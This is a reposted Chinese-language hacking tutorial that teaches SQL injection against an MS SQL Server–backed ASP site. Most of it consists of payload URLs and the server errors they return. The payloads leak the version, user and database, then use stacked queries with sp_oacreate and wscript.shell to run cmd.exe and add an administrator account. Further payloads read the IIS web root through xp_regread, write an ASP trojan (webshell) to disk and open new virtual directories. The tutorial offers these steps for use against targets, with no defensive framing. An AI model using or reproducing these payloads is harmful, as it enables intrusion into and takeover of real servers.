当前页面位置: » 丰搜网 » 文档中心 » 详细内容
榨干ms sql server 最后一滴血
风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的oracle,ms sql。微软的漏洞最多,今天就用sql injection来让ms sql为我们好好的工作。
以下(使用一知名网站作为测试点),相信大家对sql爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。
ms sql内置函数介绍:
@@version 获得windows的版本号,ms sql的版本号,补丁。 user_name() 得到当前系统的连接用户 db_name() 得到当前连接的数据库 host_name() 得到当前主机的名称
这些信息有助我们对系统进行简单的了解
好,下面我们就开始吧!
语句:
| http://www.xxx.com/list.asp?classid=1' |
返回信息:
| microsoft ole db provider for sql server 错误 '80040e14' 字符串 ' order by id desc' 之前有未闭合的引号。 /list.asp,行290 |
从这里未闭合的引号(“’”),我们可以确定存在sql injection。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:
语句:
| http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version) |
返回:
| microsoft ole db provider for sql server 错误 '80040e07' 将 nvarchar 值 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation standard edition on windows nt 5.0 (build 2195: service pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290 |
相关的信息出来了,ms server advanced server 2000+sp4, sql 2000+sp3,从
ms sql server 后面的8.00.760可看出是sp3补丁。看了
服务器的信息,接下应该了解
数据库的权限了:
语句:
| http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’ |
返回: 正常返回的信息
确定是权限是dbo,从表面dbo权限的连接用户经常是涉及sysadmin
服务器角色成员。说明
数据库服务器角色成员组默认是在每个
数据库增加一个dbo用户。
返回原理根1=1,1=2相似..这里只是权限
测试,我们也把它爆出来看看:
语句:
| http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name()) |
返回:
| microsoft ole db provider for sql server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290 |
说明连接
数据库的用户权限很高,可以确定是
服务器角色组中的成员。
语句:http://www.xxx.com/list.
asp?classid=1 and 0<>(select db_name())—返回:microsoft ole db provider for sql server 错误 '80040e07' 将 nvarchar 值 'gameimgsys' 转换为数据类型为 int 的列时发生语法错误。 /list.
asp,行290
这样就可以爆出当前的
数据库。得到这么高权限的
数据库连接成员,我们当然想直接得到
webshell,或是直接拿到nt admin。nt admin取决于当前
服务器的配置,如果配置不合理的
服务器,我们要直接拿nt admin,拿nt admin就要用到:
mssql内置
存储过程:
sp_oacreate (通过它,危害很得更大,但是需要有sysadmins权限才可能使用) sp_oageterrorinfo sp_oagetproperty sp_oamethod sp_oasetproperty sp_setpropertysp_oastop
由于
ms sql一次可以执行多语句,使得我们有机会使用更多的语句。
语句:
| http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:\winnt\system32\cmd.exe /c.net user cntest chinatest /add' |
正常返回。(提示:如果主机上shell存在的话那将在
服务器上创建一个cntest的用户)
创建用户了,语句后再加
.net localgroup administrators cntest /add加到管理组中。 如果对方的机子开着3389端口,或ipc的话,那接下来的事,就不用我多说了。
遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到
webshell,再慢慢渗透的。
由于权限高,我们可能先建表,写入
asp木马的数据再通过make
webtask,得到
websehll.手工写入的程序太过于繁锁,上传
webshell最大的问题还是网页目录,现在网上已经有现成的工具通过backup,和mask
webtask的工具得到
webshell了。以下推荐,获取网页路径(通过
存储过程达到对
注册表的读取):
利用内置
存储过程 xp_regread(读取
注册表键值,权限public):
语句:
| http://www.xxx.com/list.asp?classid=1;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine', @key='system\currentcontrolset\services\w3svc\parameters\virtual roots\', @value_name='/', values=@test output insert into paths(path) values(@test) |
iis的默认路径的在
注册表中hkey_local_machine\ system\currentcontrolset\services\w3svc\parameters\virtual roots\
利用爆字段将
数据库的值读出来:
语句:
| http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable) |
返回:
| microsoft ole db provider for odbc drivers 错误 '80040e07' [microsoft][odbc sql server driver][sql server]将 varchar 值 'e:\www,,201' 转换为数据类型为 int 的列时发生语法错误。 |
这说明网页目录在e:\www,接下来也可以利用fso直接写入
asp木马(提示必须拥用sysadmin权限才可使用fso和fso开入的前提下) :
语句:
http://www.xxx.com/list.asp?class=1; declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject', %20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:\www\test.asp', 1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20null,%20'on error resume next' |
在e:\www下创建一个test.
asp并写入on error resume next语句:
http://www.xxx.com/list.asp?classid=1; declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject', %20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile', %20@f%20out,%20'e:\www\test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20null,%20'asp horse ' |
在e:\www\test.
asp增加一行记录,记录为
asp horse, 整个完整木马可能这样写入。(%百分号要用%25替代写入)。如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认
web,或者使用域名作为
web。
| declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,’ cscript.exe c:\.netpub\wwwroot\mkwebdir.vbs -w "默认 web 站点" -v "e","e:\"’ |
在默认的
web站点下创建一个虚拟目录e,指向e:盘下。
| declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,’ cscript.exe c:\.netpub\wwwroot\chaccess.vbs -a w3svc/1/root/e +browse’ |
给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给自己一个天开眼了。那传
webshell利用
ms sql为我们的工作告了一段落了,接下来工作应该由你来了。